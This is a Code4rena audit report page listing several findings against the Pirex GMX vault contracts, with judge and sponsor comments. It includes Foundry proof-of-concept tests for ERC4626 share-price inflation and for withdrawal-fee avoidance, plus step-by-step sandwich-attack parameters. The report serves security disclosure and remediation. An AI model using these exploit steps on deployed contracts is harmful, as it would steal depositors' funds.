Platform: Code4rena
Start Date: 21/11/2022
Pot Size: $90,500 USDC
Total HM: 18
Participants: 101
Period: 7 days
Judge: Picodes
Total Solo HM: 4
Id: 183
League: ETH
Rank: 12/101
Findings: 5
Award: $1,601.99
🌟 Selected for report: 2
🚀 Solo Findings: 0
🌟 Selected for report: Jeiwan
Also found by: 0xLad, 0xSmartContract, 8olidity, HE1M, JohnSmith, KingNFT, Koolex, Lambda, R2, __141345__, carrotsmuggler, cccz, gogo, hl_, joestakey, koxuan, ladboy233, pashov, peanuts, rbserver, rvierdiiev, seyni, unforgiven, xiaoming90, yongskiws
32.9213 USDC - $32.92
https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/PirexERC4626.sol#L156-L165 https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/PirexERC4626.sol#L167-L176
pxGMX and pxGLP tokens can be stolen from depositors in AutoPxGmx
and AutoPxGlp
vaults by manipulating the price of a share.
ERC4626 vaults are subject to a share price manipulation attack that allows an attacker to steal underlying tokens from other depositors (this is a known issue of Solmate's ERC4626 implementation). Consider this scenario (this is applicable to AutoPxGmx
and AutoPxGlp
vaults):
AutoPxGmx
vault;deposit
function (PirexERC4626.sol#L60), the amount of shares is calculated using the previewDeposit
function:
function previewDeposit(uint256 assets) public view virtual returns (uint256) { return convertToShares(assets); } function convertToShares(uint256 assets) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets()); }
convertToShares
function: 19e18 * 1 / 10e18 == 1
;// test/AutoPxGmx.t.sol function testSharePriceManipulation_AUDIT() external { address alice = address(0x31337); address bob = address(0x12345); vm.label(alice, "Alice"); vm.label(bob, "Bob"); // Resetting the withdrawal fee for cleaner amounts. autoPxGmx.setWithdrawalPenalty(0); vm.startPrank(address(pirexGmx)); pxGmx.mint(alice, 10e18); pxGmx.mint(bob, 19e18); vm.stopPrank(); vm.startPrank(alice); pxGmx.approve(address(autoPxGmx), 1); // Alice deposits 1 wei of pxGMX and gets 1 wei of shares. autoPxGmx.deposit(1, alice); // Alice sends 10e18-1 of pxGMX and sets the price of 1 wei of shares to 10e18 pxGMX. pxGmx.transfer(address(autoPxGmx), 10e18-1); vm.stopPrank(); vm.startPrank(bob); pxGmx.approve(address(autoPxGmx), 19e18); // Bob deposits 19e18 of pxGMX and gets 1 wei of shares due to rounding and the price manipulation. autoPxGmx.deposit(19e18, bob); vm.stopPrank(); // Alice and Bob redeem their shares. vm.prank(alice); autoPxGmx.redeem(1, alice, alice); vm.prank(bob); autoPxGmx.redeem(1, bob, bob); // Alice and Bob both got 14.5 pxGMX. // But Alice deposited 10 pxGMX and Bob deposited 19 pxGMX – thus, Alice stole pxGMX tokens from Bob. // With withdrawal fees enabled, Alice would've been penalized more than Bob // (14.065 pxGMX vs 14.935 pxGMX tokens withdrawn, respectively), // but Alice would've still gotten more pxGMX that she deposited. assertEq(pxGmx.balanceOf(alice), 14.5e18); assertEq(pxGmx.balanceOf(bob), 14.5e18); }
Manual review
Consider either of these options:
deposit
function of PirexERC4626
, consider requiring a reasonably high minimal amount of assets during first deposit. The amount needs to be high enough to mint many shares to reduce the rounding error and low enough to be affordable to users.#0 - c4-judge
2022-12-03T23:12:50Z
Picodes marked the issue as duplicate of #407
#1 - c4-judge
2022-12-21T07:29:27Z
Picodes marked the issue as selected for report
#2 - c4-judge
2022-12-21T07:30:53Z
Picodes changed the severity to 3 (High Risk)
#3 - C4-Staff
2023-01-10T21:52:43Z
JeeberC4 marked the issue as not a duplicate
#4 - C4-Staff
2023-01-10T21:52:59Z
JeeberC4 marked the issue as primary issue
🌟 Selected for report: cccz
Also found by: Englave, Jeiwan, aphak5010, hansfriese, immeas, rbserver, xiaoming90
164.5029 USDC - $164.50
Swapping WETH for GMX during compounding in the AutoPxGmx
pool can be manipulated: an attacker can use a pool with a manipulated WETH/GMX price and/or lower TVL to buy WETH from AutoPxGmx
at a cheaper price, basically stealing a part of rewards from the vault.
AutoPxGmx
implements the compound
function to claim rewards (WETH and pxGMX) from the underlying pxGMX pool, swap WETH for GMX tokens on Uniswap, and stake pxGMX and GMX tokens (AutoPxGmx.sol#L242). Every Uniswap V3 pool is identified by three parameters: first token's address, second token's address, and the swap fee amount (see the salt here: UniswapV3PoolDeployer.sol#L35). The compound
function, while hard coding token addresses (AutoPxGmx.sol#L270-L271), allows the caller to specify a swap fee (AutoPxGmx.sol#L243), allowing a caller to choose any of the deployed WETH/GMX pools. At the moment of the audit, there are three WETH/GMX pools on Arbitrum:
(More pools can be deployed if new fee tiers are enabled in the Uniswap V3 Factory contract).
An attacker can use the smallest of the pools by TVL to perform the swap during compounding, which allows atomic sandwich attacks:
compound
function and sets: fee
to 500 to use the 0.05% pool; amountOutMinimum
to 1 to bypass the non-zero slippage tolerance check and still have ~100% slippage; sqrtPriceLimitX96
to 0 to swap the entire amount;compound
call, AutoPxGmx
buys GMX and sells WETH at an increased price, getting less GMX and selling more WETH than expected; this pushes the price of GMX a little higher;However, since compounding is done before depositing (AutoPxGmx.sol#L227), withdrawing (AutoPxGmx.sol#L321), and redeeming (AutoPxGmx.sol#L345), the underlying pxGMX pool won't likely to accumulate big rewards.
Manual review
Consider using the poolFee
state variable instead of taking fee as a parameter in the compound
function. However, this won't protect from sandwich attacks since the contract cannot get a WETH/GMX price from a Uniswap pool in a manipulation resilient way, thus it cannot calculate the amountOutMinimum
variable to set a tight slippage tolerance. To mitigate the harm of sandwich attacks, ensure compounding is done as often as possible. Probably, consider running a keeper bot that triggers compounding when when a reward is high enough.
#0 - c4-judge
2022-12-03T23:14:46Z
Picodes marked the issue as duplicate of #179
#1 - c4-judge
2022-12-05T10:47:45Z
Picodes marked the issue as duplicate of #91
#2 - c4-judge
2023-01-01T10:42:20Z
Picodes marked the issue as satisfactory
🌟 Selected for report: unforgiven
501.4568 USDC - $501.46
An old stakedGmxTracker
contract can withdraw all GMX tokens held by PirexGmx
.
The configureGmxState
function allows to update addresses of all GMX contracts in one call (PirexGmx.sol#L272):
function configureGmxState() external onlyOwner whenPaused { // Variables which can be assigned by reading previously-set GMX contracts rewardTrackerGmx = RewardTracker(gmxRewardRouterV2.feeGmxTracker()); rewardTrackerGlp = RewardTracker(gmxRewardRouterV2.feeGlpTracker()); feeStakedGlp = RewardTracker(gmxRewardRouterV2.stakedGlpTracker()); stakedGmx = RewardTracker(gmxRewardRouterV2.stakedGmxTracker()); glpManager = gmxRewardRouterV2.glpManager(); gmxVault = IVault(IGlpManager(glpManager).vault()); emit ConfigureGmxState( msg.sender, rewardTrackerGmx, rewardTrackerGlp, feeStakedGlp, stakedGmx, glpManager, gmxVault ); // Approve GMX to enable staking gmx.safeApprove(address(stakedGmx), type(uint256).max); }
The function also approves spending of the unlimited amount of GMX tokens to the stakedGmx
address, which is the RewardTracker
contract for staked GMX. However, the previously given approval is not removed before the stakedGmx
address is updated, which allows the old stakedGmxTracker
contract to withdraw GMX tokens of PirexGmx
.
The RewardTracker
contract allows anyone to stake GMX tokens from an arbitrary address that has previously approved the contract:
function stakeForAccount(address _fundingAccount, address _account, address _depositToken, uint256 _amount) external override nonReentrant { _validateHandler(); _stake(_fundingAccount, _account, _depositToken, _amount); }
function _stake(address _fundingAccount, address _account, address _depositToken, uint256 _amount) private { require(_amount > 0, "RewardTracker: invalid _amount"); require(isDepositToken[_depositToken], "RewardTracker: invalid _depositToken"); IERC20(_depositToken).safeTransferFrom(_fundingAccount, address(this), _amount); _updateRewards(_account); stakedAmounts[_account] = stakedAmounts[_account].add(_amount); depositBalances[_account][_depositToken] = depositBalances[_account][_depositToken].add(_amount); totalDepositSupply[_depositToken] = totalDepositSupply[_depositToken].add(_amount); _mint(_account, _amount); }
Thus, anyone will be able to call the stakeForAccount
function in an old RewardTracker
contract and pass PirexGmx
's address to steal GMX tokens from the contract. The severity of the issue is reduced due to the fact PirexGmx
is not designed to hold GMX tokens. But it still can hold mistakenly sent GMX tokens.
Manual review
Consider this change:
--- a/src/PirexGmx.sol +++ b/src/PirexGmx.sol @@ -270,6 +270,8 @@ contract PirexGmx is ReentrancyGuard, Owned, Pausable { @notice Configure GMX contract state */ function configureGmxState() external onlyOwner whenPaused { + // Remove approval from the old `stakedGmx` contract + gmx.safeApprove(address(stakedGmx), 0); // Variables which can be assigned by reading previously-set GMX contracts rewardTrackerGmx = RewardTracker(gmxRewardRouterV2.feeGmxTracker()); rewardTrackerGlp = RewardTracker(gmxRewardRouterV2.feeGlpTracker());
#0 - c4-judge
2022-12-04T00:04:16Z
Picodes marked the issue as primary issue
#1 - c4-judge
2022-12-04T11:00:46Z
Picodes marked the issue as duplicate of #268
#2 - c4-judge
2022-12-04T11:01:03Z
Picodes marked the issue as not a duplicate
#3 - c4-judge
2022-12-04T11:01:27Z
Picodes marked the issue as duplicate of #214
#4 - c4-judge
2023-01-01T10:41:36Z
Picodes marked the issue as satisfactory
🌟 Selected for report: Jeiwan
Also found by: 0xbepresent, Koolex, __141345__, cryptoDave, cryptonue, datapunk, pashov, unforgiven
171.083 USDC - $171.08
A user (which can also be one of the autocompounding contracts, AutoPxGlp
or AutoPxGmx
) can loss a reward as a result of reward tokens mismanagement by the owner.
The protocol defines a short list of reward tokens that are hard coded in the claimRewards
function of the PirexGmx
contract (PirexGmx.sol#L756-L759):
rewardTokens[0] = gmxBaseReward; rewardTokens[1] = gmxBaseReward; rewardTokens[2] = ERC20(pxGmx); // esGMX rewards distributed as pxGMX rewardTokens[3] = ERC20(pxGmx);
The fact that these addresses are hard coded means that no other reward tokens will be supported by the protocol. However, the PirexRewards
contract maintains a different list of reward tokens, one per producer token (PirexRewards.sol#L19-L31):
struct ProducerToken { ERC20[] rewardTokens; GlobalState globalState; mapping(address => UserState) userStates; mapping(ERC20 => uint256) rewardStates; mapping(address => mapping(ERC20 => address)) rewardRecipients; } // Producer tokens mapped to their data mapping(ERC20 => ProducerToken) public producerTokens;
These reward tokens can be added (PirexRewards.sol#L151) or removed (PirexRewards.sol#L179) by the owner, which creates the possibility of a mismanagement:
PirexGmx
contract;PirexGmx
contract.Such mismanagement can cause users to lose rewards for two reasons:
PirexRewards
contract that are used to transfer rewards.In the claim
function:
harvest
is called to pull rewards from GMX (PirexRewards.sol#L377):
harvest();
claimReward
is called on PirexGmx
to pull rewards from GMX and get the hard coded lists of producer tokens, reward tokens, and amounts (PirexRewards.sol#L346-L347):
(_producerTokens, rewardTokens, rewardAmounts) = producer .claimRewards();
if (r != 0) { producerState.rewardStates[rewardTokens[i]] += r; }
claim
function, owner-set reward tokens are read (PirexRewards.sol#L386-L387):
ERC20[] memory rewardTokens = p.rewardTokens; uint256 rLen = rewardTokens.length;
p.userStates[user].rewards = 0;
for (uint256 i; i < rLen; ++i) { ERC20 rewardToken = rewardTokens[i]; address rewardRecipient = p.rewardRecipients[user][rewardToken]; address recipient = rewardRecipient != address(0) ? rewardRecipient : user; uint256 rewardState = p.rewardStates[rewardToken]; uint256 amount = (rewardState * userRewards) / globalRewards; if (amount != 0) { // Update reward state (i.e. amount) to reflect reward tokens transferred out p.rewardStates[rewardToken] = rewardState - amount; producer.claimUserReward( address(rewardToken), amount, recipient ); } }
In the above loop, there can be multiple reasons for rewards to not be sent:
PirexGmx
(i.e. it's not in the hard coded reward tokens list);rewardTokens
array of a producer token turns out to be empty due to a mismanagement by the owner.In all of the above situations rewards won't be sent, however user's reward state will still be set to 0.
Also, notice that calling claim
won't revert if reward tokens are misconfigured, and the Claim
event will be emitted successfully, which makes reward tokens mismanagement hard to detect.
The amount of lost rewards can be different depending on how much GMX a user has staked and how often they claim rewards. Of course, if a mistake isn't detected quickly, multiple users can suffer from this issue. The autocompounding contracts (AutoPxGlp
and AutoPxGmx
) are also users of the protocol, and since they're intended to hold big amounts of real users' deposits (they'll probably be the biggest stakers), lost rewards can be big.
Manual review
Consider having one source of reward tokens. Since they're already hard coded in the PirexGmx
contract, consider exposing them so that PirexRewards
could read them in the claim
function. This change will also mean that the addRewardToken
and removeRewardToken
functions won't be needed, which makes contract management simpler.
Also, in the claim
function, consider updating global and user reward states only after ensuring that at least one reward token was distributed.
#0 - c4-judge
2022-12-03T23:27:16Z
Picodes marked the issue as primary issue
#1 - c4-judge
2022-12-05T10:38:46Z
Picodes marked the issue as selected for report
#2 - c4-sponsor
2022-12-07T17:27:15Z
drahrealm marked the issue as disagree with severity
#3 - drahrealm
2022-12-07T17:28:55Z
To make sure this won't be an issue, we will add the whenNotPaused
modifier to claimUserReward
method in PirexGmx
. Also, as migrateRewards
is going to be updated to also set the pirexRewards
address to 0, it will defer any call to claim the rewards
#4 - c4-judge
2022-12-26T13:34:37Z
Picodes marked the issue as satisfactory
#5 - Picodes
2022-12-26T13:46:35Z
To make sure this won't be an issue, we will add the
whenNotPaused
modifier toclaimUserReward
method inPirexGmx
. Also, asmigrateRewards
is going to be updated to also set thepirexRewards
address to 0, it will defer any call to claim the rewards
Seems to be the mitigation for #249
🌟 Selected for report: 0xSmartContract
Also found by: 0xAgro, 0xNazgul, 0xPanda, 0xbepresent, 0xfuje, Awesome, B2, Bnke0x0, Deivitto, Diana, Funen, Jeiwan, JohnSmith, Josiah, R2, RaymondFam, Rolezn, Sathish9098, Waze, adriro, aphak5010, brgltd, btk, carrotsmuggler, ch0bu, chaduke, codeislight, codexploder, cryptostellar5, csanuragjain, danyams, datapunk, delfin454000, deliriusz, eierina, erictee, fatherOfBlocks, gz627, gzeon, hansfriese, hihen, jadezti, joestakey, keccak123, martin, nameruse, oyc_109, pedr02b2, perseverancesuccess, rbserver, rotcivegaf, rvierdiiev, sakshamguruji, shark, simon135, subtle77, unforgiven, xiaoming90, yixxas
732.0322 USDC - $732.03
https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L184-L190 https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGlp.sol#L162-L168
Stakers in AutoPxGmx
and AutoPxGlp
can pay a smaller withdrawal fee than expected by breaking down redeeming into smaller steps. The issue mostly benefits the biggest stakers in the vaults since the reduction in withdrawal fees depends on the share of the withdrawn amount in the vault.
When withdrawing from AutoPxGmx
and AutoPxGlp
vaults, a withdrawal fee is subtracted from the amounts being withdrawn (AutoPxGmx.sol#L184-L190, AutoPxGlp.sol#L162-L168). The mechanism of fee reduction ensures that a user gets a smaller amount of the underlying tokens for their shares. However, since the entire amount of shares is burnt, the remaining underlying assets get distributed among all stakers in the vaults, including the user who just redeemed their tokens (if they still have shares after the redeeming). Thus, by breaking redeeming into smaller steps, users can reduce the total withdrawal fee by a small percentage, which heavily depends on the size of the total shares being redeemed.
The below coded PoC demonstrated a scenario when a whale redeems 10% of shares by making 100 redeem
calls and eventually reducing total withdrawal fee by ~4.5%:
// test/AutoPxGmx.t.sol function testWithdrawalFeeOptimization_AUDIT() external { address alice = address(0x31337); address bob = address(0x12345); vm.label(alice, "Alice"); vm.label(bob, "Bob"); // Ensure the default fee is set. autoPxGmx.setWithdrawalPenalty(300); uint256 million = 22_222.2222e18; // ~$1 mil @ $45 per 1 GMX uint256 aliceBalance = million; uint256 bobBalance = 10 * million; vm.startPrank(address(pirexGmx)); pxGmx.mint(alice, aliceBalance); pxGmx.mint(bob, bobBalance); vm.stopPrank(); vm.startPrank(alice); pxGmx.approve(address(autoPxGmx), type(uint256).max); autoPxGmx.deposit(aliceBalance, alice); vm.stopPrank(); vm.startPrank(bob); pxGmx.approve(address(autoPxGmx), type(uint256).max); autoPxGmx.deposit(bobBalance, bob); vm.stopPrank(); vm.startPrank(alice); uint256 redeemedAtOnce = autoPxGmx.previewRedeem(autoPxGmx.balanceOf(alice)); assertEq(redeemedAtOnce, 21555.555534e18); assertEq(aliceBalance - redeemedAtOnce, 666.666666e18); // 666.666 * $45 = ~$30,000 uint256 balance; uint256 part = aliceBalance / 100; uint256 redeemCalledTimes; for (;;) { balance = autoPxGmx.balanceOf(alice); redeemCalledTimes++; if (balance > part) { autoPxGmx.redeem(part, alice, alice); } else { autoPxGmx.redeem(balance, alice, alice); break; } } assertEq(redeemCalledTimes, 100); // The cost of 100 calls to `redeem` = // 100 * gas usage * gas price * ETH price = // 100 * 143677 * 0.0000000001 (0.1 Gwei) * 1200 = $1.7241 uint256 redeemedInASeries = pxGmx.balanceOf(alice); assertEq(redeemedInASeries, 21585.616863067223296826e18); assertEq(autoPxGmx.balanceOf(alice), 0); uint256 feeCompensation = redeemedInASeries - redeemedAtOnce; assertEq(feeCompensation, 30.061329067223296826e18); // 30.0613 * $45 = $1352.7585 // Total profit of breaking redeeming into smaller steps: // $1352.7585 - $1.7241 = $1351,0344 // Which is ~4.5% of the fee taken when redeeming all shares at once. }
In case a whale withdraws only 1% of total supply, the profit is 3.1802 pxGMX tokens, or ~0.48%.
Manual review
Consider sending collected withdrawal fees to the owner of the contract (as it's done with the platform fees: AutoPxGmx.sol#L299).
#0 - Picodes
2022-12-03T23:11:02Z
The finding is valid but is inherent to the design, where withdrawal fees
are used as a yield to distribute to others. Assuming we keep this design how could we mitigate this ?
#1 - c4-judge
2022-12-03T23:11:10Z
Picodes changed the severity to QA (Quality Assurance)
#2 - c4-judge
2022-12-03T23:12:25Z
Picodes marked the issue as grade-a